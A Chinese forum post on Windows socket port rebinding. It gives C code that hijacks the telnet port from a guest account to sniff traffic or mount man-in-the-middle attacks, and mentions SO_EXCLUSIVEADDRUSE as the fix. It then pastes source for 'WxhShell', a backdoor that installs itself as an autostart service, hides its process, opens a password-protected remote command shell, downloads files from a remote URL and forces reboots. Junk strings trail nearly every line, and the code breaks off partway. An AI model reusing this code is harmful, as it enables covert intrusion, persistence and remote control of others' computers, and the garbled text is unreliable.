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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @dc4v_9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @umn#*  
4P?R "Lk  
  saddr.sin_family = AF_INET; YQ`88 z  
r<!/!}fE,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zxC~a97`  
hVW1l&s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B3W2?5p  
\kP1Jr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G;AJBs>Y}  
;N^4R$Q.  
  这意味着什么?意味着可以进行如下的攻击: o?5;l`.L}  
g 9AA)Ykp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B4{F)Zb  
9`cj9zz7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C:p`  
6ag0c&k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wRu\9H}  
rO]2we/B,4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  " nLWvV1  
SI/3Dz[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E=]$nE]b  
B pp(5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WDF6.i ?  
x.>&|Ej  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UV\&9>@L  
HXgf=R/$  
  #include 8gJg7RxL  
  #include LCMn9I  
  #include p4@0Dz`Q  
  #include    \L"0Pmt[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LfMN 'Cb  
  int main() x,Z:12H0  
  { zO((FQ  
  WORD wVersionRequested; H]( TSt<Q"  
  DWORD ret; s]Z++Lh<{  
  WSADATA wsaData; V(M7d>N5G  
  BOOL val; uOJso2Mx  
  SOCKADDR_IN saddr; "@L|Z6U(  
  SOCKADDR_IN scaddr; T1c& 3  
  int err; -# /'^O +%  
  SOCKET s; : 2A\X' @  
  SOCKET sc; =xr2-K)e  
  int caddsize; m6o o-muAr  
  HANDLE mt; C,$7fW{?  
  DWORD tid;   xG|lmYt76  
  wVersionRequested = MAKEWORD( 2, 2 ); wp<f{^ et  
  err = WSAStartup( wVersionRequested, &wsaData ); y<m }dW6[\  
  if ( err != 0 ) { /J!~0~F  
  printf("error!WSAStartup failed!\n"); {4r }jH  
  return -1; TE-(Zil\  
  } ;RS^^vDm  
  saddr.sin_family = AF_INET; s:J QV  
   *R8P brN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +oiuulA  
R]N"P:wf@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9,$ n 6t;  
  saddr.sin_port = htons(23); y-_IMu.J`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4R& pb1eF  
  { B:fulgh2ni  
  printf("error!socket failed!\n"); +@MG$*}Oz  
  return -1; i([|@Y=  
  } Ur(<  ]  
  val = TRUE; %8lWJwb7u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |z`AIScT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QxiAC>%K  
  { t]+h.  
  printf("error!setsockopt failed!\n"); \N.Bx  
  return -1; 'h>CgR^NM1  
  } 41c4Xj?'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }VqCyJu&{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +GT"n$)+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  ?S'Wd=  
\;0UP+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }T"&4Rvs2R  
  { v\-7sgZR  
  ret=GetLastError(); 35Fs/Gf-n  
  printf("error!bind failed!\n"); >+Y@rj2  
  return -1; G3gEL)b*  
  } d+]/0J!c  
  listen(s,2); _FzAf5DO  
  while(1) e84O 6K6o  
  { y)T|1)  
  caddsize = sizeof(scaddr); G`z=qaj  
  //接受连接请求 ' [%?j?2r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r[3 2'E  
  if(sc!=INVALID_SOCKET) Iy@6cd,)S  
  { Nx<fj=VJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 43Ua@KNi  
  if(mt==NULL) PDpDkcy|QM  
  { k.wm{d]J  
  printf("Thread Creat Failed!\n"); {=,+;/0  
  break; R@2*Lgxz~  
  } P=.T|l1  
  } afye$$X  
  CloseHandle(mt); ( \7Yo^  
  } hzrS_v  
  closesocket(s); l:j>d^V*&x  
  WSACleanup(); 14yzGhA  
  return 0; {$'oKJy*  
  }   dyt.( 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]>,Lw=_[_  
  { ,Ofou8C6  
  SOCKET ss = (SOCKET)lpParam; trlZ  
  SOCKET sc; Cg]S`R-  
  unsigned char buf[4096]; d8VFa'|  
  SOCKADDR_IN saddr; b\C1qM4  
  long num; 4GexYDk'#  
  DWORD val; V(F1i%9lg  
  DWORD ret; #./8inbG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _s+_M+@et  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cfL:#IM  
  saddr.sin_family = AF_INET; b#Vm;6BHD1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .|GnTC q  
  saddr.sin_port = htons(23); uk)D2.eS,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ns.{$'ll  
  { h`:B8+k  
  printf("error!socket failed!\n"); G,XUMZ  
  return -1; Fr1OzS^&(  
  } gk4DoOj#P  
  val = 100; 6bUcrw/# p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :CG;:( |  
  { }PzHtA,V  
  ret = GetLastError(); 'Xg9MS&  
  return -1; \/?&W[TF  
  } `,Y/!(:;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H'x_}y  
  { *zWf8X  
  ret = GetLastError(); fi'\{!!3m^  
  return -1; 2Y%E.){  
  } J pKCux  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L[lS >4e N  
  { ?]0bR]}y  
  printf("error!socket connect failed!\n"); 9Nu:{_YoP  
  closesocket(sc); >RXDuCVi  
  closesocket(ss); 'V} 4_3#q  
  return -1; 9tIE+RD  
  } WP4 "$W  
  while(1) ,pa=OF  
  { O:+?:aI@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cT# R B7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1qhSN#s{_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sF1j4 NC  
  num = recv(ss,buf,4096,0); Q&e*[l2M6  
  if(num>0) XvkFP'%i/  
  send(sc,buf,num,0); K b z|h,<  
  else if(num==0) xN44>3#  
  break; 77;|PKE /  
  num = recv(sc,buf,4096,0); `,)%<}  
  if(num>0) M$2lK^2L  
  send(ss,buf,num,0); EN)0b,ax  
  else if(num==0) 2,G9~<t  
  break; 'Jl73#3  
  } =7 -@&S=?s  
  closesocket(ss); d.p%jVO)"  
  closesocket(sc); dA$qzQ  
  return 0 ; K"VRHIhfg  
  } AmBLZ<f;  
"K#zY~>L  
F"t.ND  
========================================================== k4YW;6<C+  
sF p% T4j  
下边附上一个代码,,WXhSHELL a/U4pSug  
h2vD*W  
========================================================== SaA-Krn  
z:JJ>mxV  
#include "stdafx.h" SHN'$f0Mb  
YfVZ59l4y6  
#include <stdio.h> bw OG|\  
#include <string.h> ?V4bz2#!1O  
#include <windows.h> R<e ~Cb-  
#include <winsock2.h> 6G<gA>V  
#include <winsvc.h> "M=1Eb$6=  
#include <urlmon.h> Uw->5   
$ cYKVhf  
#pragma comment (lib, "Ws2_32.lib") S&F  
#pragma comment (lib, "urlmon.lib") $mF9os-  
f9La79v  
#define MAX_USER   100 // 最大客户端连接数 /xkF9   
#define BUF_SOCK   200 // sock buffer cGS7s 8U  
#define KEY_BUFF   255 // 输入 buffer "i; "  
SsQg8d  
#define REBOOT     0   // 重启 `h$^=84  
#define SHUTDOWN   1   // 关机 ;g_<i_ *x#  
7SjWofv  
#define DEF_PORT   5000 // 监听端口 `r*bG=  
S"Drg m.  
#define REG_LEN     16   // 注册表键长度 <CGJ:% AY  
#define SVC_LEN     80   // NT服务名长度 N3?hu}  
v)rQ4 wD:  
// 从dll定义API 7oZtbBs]M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 48n7<M;I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N6%M+R/Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7^DN8g"&\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Bn,f2  
y/!jC]!+c  
// wxhshell配置信息 }Z8DVTpX}  
struct WSCFG { GA2kg7  
  int ws_port;         // 监听端口 YY 8vhnw  
  char ws_passstr[REG_LEN]; // 口令 0Y9fK? (  
  int ws_autoins;       // 安装标记, 1=yes 0=no +cC$4t0$^A  
  char ws_regname[REG_LEN]; // 注册表键名 R9O1#s^  
  char ws_svcname[REG_LEN]; // 服务名 Un\ T} c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q ;$NDYV1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 obSLy Ed  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &v<Am%!N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /@+[D{_Fw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tz/NR/[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5ii:93Hlj  
h"On9  
}; ')1p  
_W gpk 0  
// default Wxhshell configuration lIgAc!q(  
struct WSCFG wscfg={DEF_PORT, eX <@qa4<  
    "xuhuanlingzhe", lH%-#2]  
    1, OjfumZL#  
    "Wxhshell", `6 ?.ihV  
    "Wxhshell", "i~~Q'=7  
            "WxhShell Service", v_NL2eQ~  
    "Wrsky Windows CmdShell Service", #lO~n.+P  
    "Please Input Your Password: ", Jn)DZv8?  
  1, Kp%:\s,lO  
  "http://www.wrsky.com/wxhshell.exe", Pze{5!  
  "Wxhshell.exe" `E-cf7%  
    }; 0M 5m8  
FmC [u  
// 消息定义模块 \Ea(f**2B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fps:6~gD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i[m-&   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }g_\?z3gt  
char *msg_ws_ext="\n\rExit."; i=X B0-  
char *msg_ws_end="\n\rQuit."; |J^$3RX  
char *msg_ws_boot="\n\rReboot..."; s!WI:E7  
char *msg_ws_poff="\n\rShutdown..."; y\c-I!6>26  
char *msg_ws_down="\n\rSave to "; <F-W fR  
C,nU.0  
char *msg_ws_err="\n\rErr!"; W,ik ;P\  
char *msg_ws_ok="\n\rOK!"; 9\KMU@Ne  
_X]S`e1F  
char ExeFile[MAX_PATH]; |ZJ<N\\h-  
int nUser = 0; (v1~p3H  
HANDLE handles[MAX_USER]; oO][X  
int OsIsNt; 4 -Cca  
x`VA3nE9  
SERVICE_STATUS       serviceStatus; IHvrx:7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "D?:8!\!  
X!!3>`|  
// 函数声明 zM!2JC  
int Install(void); -VkPy<)  
int Uninstall(void); 6tv-PgZ  
int DownloadFile(char *sURL, SOCKET wsh); ioJr2wq6  
int Boot(int flag); W;!)Sj4<T!  
void HideProc(void); T9&bY>f?  
int GetOsVer(void); d{:0R9  
int Wxhshell(SOCKET wsl); aF%V  
void TalkWithClient(void *cs); 7V-'><)gI  
int CmdShell(SOCKET sock); R/?ZbMn]!  
int StartFromService(void); xBg. QV  
int StartWxhshell(LPSTR lpCmdLine); 22r$Ri_>  
J~k'b2(p3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Or,W2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >j_N6B!  
Tb<}GcwJ  
// 数据结构和表定义 w^8i!jCy  
SERVICE_TABLE_ENTRY DispatchTable[] = L}\~)  
{ jC_m0Iwc  
{wscfg.ws_svcname, NTServiceMain}, I"bz6t\~|  
{NULL, NULL} ^{l$>e]  
}; 3jDAj!_ea  
*g!7PzJ'  
// 自我安装 !nt[J$.z^  
int Install(void) 0. mS^g,M-  
{ v5dLjy5  
  char svExeFile[MAX_PATH]; .l +yK-BZ  
  HKEY key; > ,;<Bz|X  
  strcpy(svExeFile,ExeFile); ^~K[bFbW  
vnD `+y  
// 如果是win9x系统,修改注册表设为自启动 sG8G}f  
if(!OsIsNt) { 0*XCAnJ^_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <zt124y-6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $#/f+kble  
  RegCloseKey(key); jCp`woV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] 8dzTEjk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W+u-M>Cj6  
  RegCloseKey(key); Y[Eq;a132  
  return 0; p^*A&7d:P  
    } Q$8&V}jVW  
  } 1AAOg+Y@U"  
} Sgq?r-Q.  
else { K410.o/=-  
6Eyinv  
// 如果是NT以上系统,安装为系统服务 aKC,{}f$m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vk.P| Y-;  
if (schSCManager!=0) N Nw0 G&  
{ ,'&H`h54  
  SC_HANDLE schService = CreateService JUd Q Q  
  ( #VynADPs`o  
  schSCManager, /nB|Fo_&Q  
  wscfg.ws_svcname, B<oBo&uA  
  wscfg.ws_svcdisp, ^vha4<'-qG  
  SERVICE_ALL_ACCESS, e]-%P(}Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +~f=L- >  
  SERVICE_AUTO_START, }0idFotck  
  SERVICE_ERROR_NORMAL, |ZtNCB5{^j  
  svExeFile, zLybf:#  
  NULL, Zgt(zh_l  
  NULL, dq^vK  
  NULL, +a0` ,Jc  
  NULL, )SyU  
  NULL &l?AC%a5  
  ); ED^0t  
  if (schService!=0) aDda&RM  
  { uS7kkzt-x  
  CloseServiceHandle(schService); _(F8}s  
  CloseServiceHandle(schSCManager); D-4{9[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'b:e8m  
  strcat(svExeFile,wscfg.ws_svcname); LsO}a;t5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AA<QI'6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JasA w7  
  RegCloseKey(key); .X34[AXd  
  return 0; DIF-%X5  
    } !!d?o  
  } DTvCx6:!  
  CloseServiceHandle(schSCManager); ~Xz?H=}U+  
} 9nS fFGu  
} bk:mk[  
qylI/,y{  
return 1; ip!-~HNwJ  
} SVBo0wvz-  
U X%J?;g  
// 自我卸载 45;ey }8  
int Uninstall(void) _BZ6Ws$C2  
{ xQkvK=~$  
  HKEY key; a!B"WNb+  
bXk(wXX  
if(!OsIsNt) { Dvm[W),(k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pD;fFLvN  
  RegDeleteValue(key,wscfg.ws_regname); :f~qt%%/  
  RegCloseKey(key); pv]" 2'aQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #p2`9o  
  RegDeleteValue(key,wscfg.ws_regname); *" +u^  
  RegCloseKey(key); `#"xgOSP>  
  return 0; v?0F  
  } xSq{pxX  
} L}6!D zl  
} 9qUkw&}H  
else { fwNj@fl_,e  
0+F--E4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !<?<f db  
if (schSCManager!=0) <.&84c]/&  
{ 'OvM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !RSJb  
  if (schService!=0) m UUNR,  
  { t~|J2*9l  
  if(DeleteService(schService)!=0) { 8QMib3p  
  CloseServiceHandle(schService); VS@e[,  
  CloseServiceHandle(schSCManager); qHn X)  
  return 0; <iB5&  
  } ?[7KN8$  
  CloseServiceHandle(schService); 1>Q4&1Vn  
  } Bk[C=<X  
  CloseServiceHandle(schSCManager); 0+e  
} e, fZ>EJ  
} sLUOs]cj  
+t3o5&  
return 1; +QNsI2t;r  
} V!/9GeIF  
*/2nh%>$  
// 从指定url下载文件 ~G 3txd  
int DownloadFile(char *sURL, SOCKET wsh) 9BAvE\o0  
{ 8N \<o7t%  
  HRESULT hr; i` Q&5KL  
char seps[]= "/"; ;8a9S0eS  
char *token; ~LQzt@G4  
char *file; +lxjuEiae  
char myURL[MAX_PATH]; >wb Uxl%{5  
char myFILE[MAX_PATH]; b0Dco0U(  
RFoCM^  
strcpy(myURL,sURL); Zz"8  
  token=strtok(myURL,seps); EjMVlZC>  
  while(token!=NULL) m`}mbm^  
  { 5Dzf[V^]`  
    file=token; U~USwUzgY  
  token=strtok(NULL,seps); 3 &mpn,  
  } Ft38)T"2R\  
:w+vi 7l$  
GetCurrentDirectory(MAX_PATH,myFILE); fUr%@&~l^  
strcat(myFILE, "\\"); <@P. 'rE  
strcat(myFILE, file); LosRjvQ:  
  send(wsh,myFILE,strlen(myFILE),0); xkv%4H>  
send(wsh,"...",3,0); XJ5@/BW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '6; {DX  
  if(hr==S_OK) @JGFG+J}  
return 0; \*[DR R0  
else huW,kk<]y  
return 1; `jSegG'  
p6V#!5Q  
} ~6IY4']m*  
%z=:P{0UQ  
// 系统电源模块 Wf^ sl  
int Boot(int flag) ?5J>]: +ZZ  
{ lV$CBS  
  HANDLE hToken; )K$YL='kX  
  TOKEN_PRIVILEGES tkp; wl&T9O;?  
Qj|rNeM_  
  if(OsIsNt) { \Y>b#*m(4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D<|$ZuB4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XRO(p`OE-  
    tkp.PrivilegeCount = 1; < Sgc6>)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b b.UtoPz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m2"wMt"*V  
if(flag==REBOOT) { * V7mM?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2gh=0%|\gx  
  return 0; ;|0P\3  
} >I/@GX/  
else { 4hc[ rN,]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /QWXEL/M=  
  return 0; Y[]I!Bc  
} :)i,K>y3i  
  } NU3TXO  
  else { z~3GgR"1d  
if(flag==REBOOT) { 1YQYZ^11  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AwjXY,2  
  return 0; ZuybjV1/f6  
} [N Afy~X*  
else { rZ|p{ym  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]E$NJq|  
  return 0; v bn=ywz  
} 2x9.>nwhb  
} @&Z^WN,x  
: NA(nA 3  
return 1; 3UaW+@  
} ^ghYi|kQq  
n~]"sTC}&  
// win9x进程隐藏模块 "T{WOGU+  
void HideProc(void) Km $o@  
{ g(W+[kj)  
tjt^R$[@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >$TvCw  
  if ( hKernel != NULL ) 9TQVgkW  
  { |9=A"092{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &+&@;2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z|Oq7wzEH  
    FreeLibrary(hKernel); T - _))  
  } rhcax%Cd  
5a'`%b{{  
return; NLK1IH#  
} #Tei0B7  
,h*N9}xYTi  
// 获取操作系统版本 rJkJ/9s  
int GetOsVer(void) :\JCxS=EW  
{ \ a,}1FS  
  OSVERSIONINFO winfo; zWhj >Za  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YLi6G Y  
  GetVersionEx(&winfo); /AAD Fa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8QK8q: |  
  return 1; JRw,${W  
  else ?tL'  X  
  return 0; !p).3Kx0  
} eG1V:%3  
`WN80d\)&  
// 客户端句柄模块 >5#}/G&  
int Wxhshell(SOCKET wsl) NLY=o@<  
{ Lc5zu7ncg  
  SOCKET wsh; &Ap9h# dK  
  struct sockaddr_in client; Vy I\Jmr  
  DWORD myID; 38D5vT)n  
E I(e3  
  while(nUser<MAX_USER) n"T ^  
{ KD ,3U/ 3  
  int nSize=sizeof(client); s{R ,- \_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a`n)aXU l  
  if(wsh==INVALID_SOCKET) return 1; OcO/wA(&{  
`DF49YP"~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /0H}-i  
if(handles[nUser]==0) Gmi? xGn  
  closesocket(wsh); J)Y`G4l2@  
else G@#lf@M]  
  nUser++; ofV0L  
  } $QwpoVp`~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o=_7KWOA  
-yBKA]"<I  
  return 0; '"E!av>  
} !e$ZOYe  
{%G9iOV.  
// 关闭 socket TDDMx |{  
void CloseIt(SOCKET wsh) yy=hCjQ)  
{ $ mE* =  
closesocket(wsh); U%s@np  
nUser--; ];hqI O#nM  
ExitThread(0); Hz GwO^tbK  
} (O4oI U  
'*mZ/O-  
// 客户端请求句柄 qWheoyAB  
void TalkWithClient(void *cs) 2I [zV7 @t  
{ 3?a`@C&x  
wQUl!s7M;  
  SOCKET wsh=(SOCKET)cs; &&9 |;0 <  
  char pwd[SVC_LEN]; NOQ^HEi  
  char cmd[KEY_BUFF]; ,M.}Qak^  
char chr[1]; o& FOp'  
int i,j; rL1yq|]I  
HvG %##  
  while (nUser < MAX_USER) { '~&W'='b;  
@6yc^DAA  
if(wscfg.ws_passstr) { ;6P>S4`w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hg" i;I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]"Uzn  
  //ZeroMemory(pwd,KEY_BUFF); XLt/$Caf  
      i=0; IS&qFi}W|W  
  while(i<SVC_LEN) { AJ7^'p9Y  
@!fUp b  
  // 设置超时 &]o-ZZX  
  fd_set FdRead; XQ}J4J~Vm  
  struct timeval TimeOut; 8C@u+tx  
  FD_ZERO(&FdRead); / S]RP>cQ  
  FD_SET(wsh,&FdRead); ;7z6B|8  
  TimeOut.tv_sec=8; ?'TK~,dG/  
  TimeOut.tv_usec=0; l;_IH|A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7j\^h2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HK/WO jr  
1v]%FC`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 49Jnp>h  
  pwd=chr[0]; H_ $?b  
  if(chr[0]==0xd || chr[0]==0xa) { 8l5>t  
  pwd=0; 9y*] {IY  
  break; dYrgL3'  
  } ud `- w  
  i++; z;>$["t]6  
    } C*b[J  
*uyP+f2O  
  // 如果是非法用户,关闭 socket # -luE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^qR|lA@=\  
} U<w8jVE  
HKrENk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "iK= 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q-<DYVG+  
4tZ*%!I'  
while(1) { ?Tc#[B  
:E.a.-  
  ZeroMemory(cmd,KEY_BUFF); !.,wg'\P  
Njg$~30  
      // 自动支持客户端 telnet标准   BS##nS-[  
  j=0; _eiqs  
  while(j<KEY_BUFF) { i7.8H*z'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tRdf:F\X  
  cmd[j]=chr[0]; .U0Gm_c0  
  if(chr[0]==0xa || chr[0]==0xd) { X!Z)V)@J8  
  cmd[j]=0; tdH[e0x B  
  break; gPKf8{#%e  
  } r& a[ ?  
  j++; Pz2 b  
    } wu.l-VmGp)  
[j0[c9.p [  
  // 下载文件 +=8wZ]  
  if(strstr(cmd,"http://")) { mF;mJq<d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h+1|.d  
  if(DownloadFile(cmd,wsh)) BI`)P+K2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 58s-RO6  
  else M4C8K{}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @v lP)"  
  } 5j`xSG  
  else { <}RI<96  
g{yw&q[B=  
    switch(cmd[0]) { TF/NA\0c$  
  U*r54AyP  
  // 帮助 7{F\b  
  case '?': { R!j#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OZxJDg  
    break; @.W;3|~qc  
  } q~R8<G%YK  
  // 安装 OS,!`8cw  
  case 'i': { vdq=F|&  
    if(Install()) \l:R]:w;ZI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <==uK>pET  
    else 4?+K `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = J;I5:J  
    break; x 7by|G(  
    } z{L'7  
  // 卸载 4{uQ}ea  
  case 'r': { =-si| 1Z  
    if(Uninstall()) d-~V.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); srv4kodj  
    else G JRl{Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 72s qt5C]  
    break; 2o?j{K  
    } U80=f2  
  // 显示 wxhshell 所在路径 ,j*9)  
  case 'p': { i=Qy?aU?  
    char svExeFile[MAX_PATH]; '8;bc@cE  
    strcpy(svExeFile,"\n\r"); xvOz*vM?  
      strcat(svExeFile,ExeFile); ))=6g@(  
        send(wsh,svExeFile,strlen(svExeFile),0); ;gZ ^c]\  
    break; vkE`T5??  
    } d~u=,@FK  
  // 重启 i&:SWH=  
  case 'b': { x []ad"R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "'z}oS  
    if(Boot(REBOOT)) Fe0M2%e;|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *-9i<@|(U^  
    else { q2EDrZ  
    closesocket(wsh); F=Bdgg9s  
    ExitThread(0); :|W=2( >  
    } UT\4Xk<  
    break; /yG7!k]Eg  
    } 12Oa_6<\0;  
  // 关机 m%[e_eS  
  case 'd': { 1cK'B<5">]  
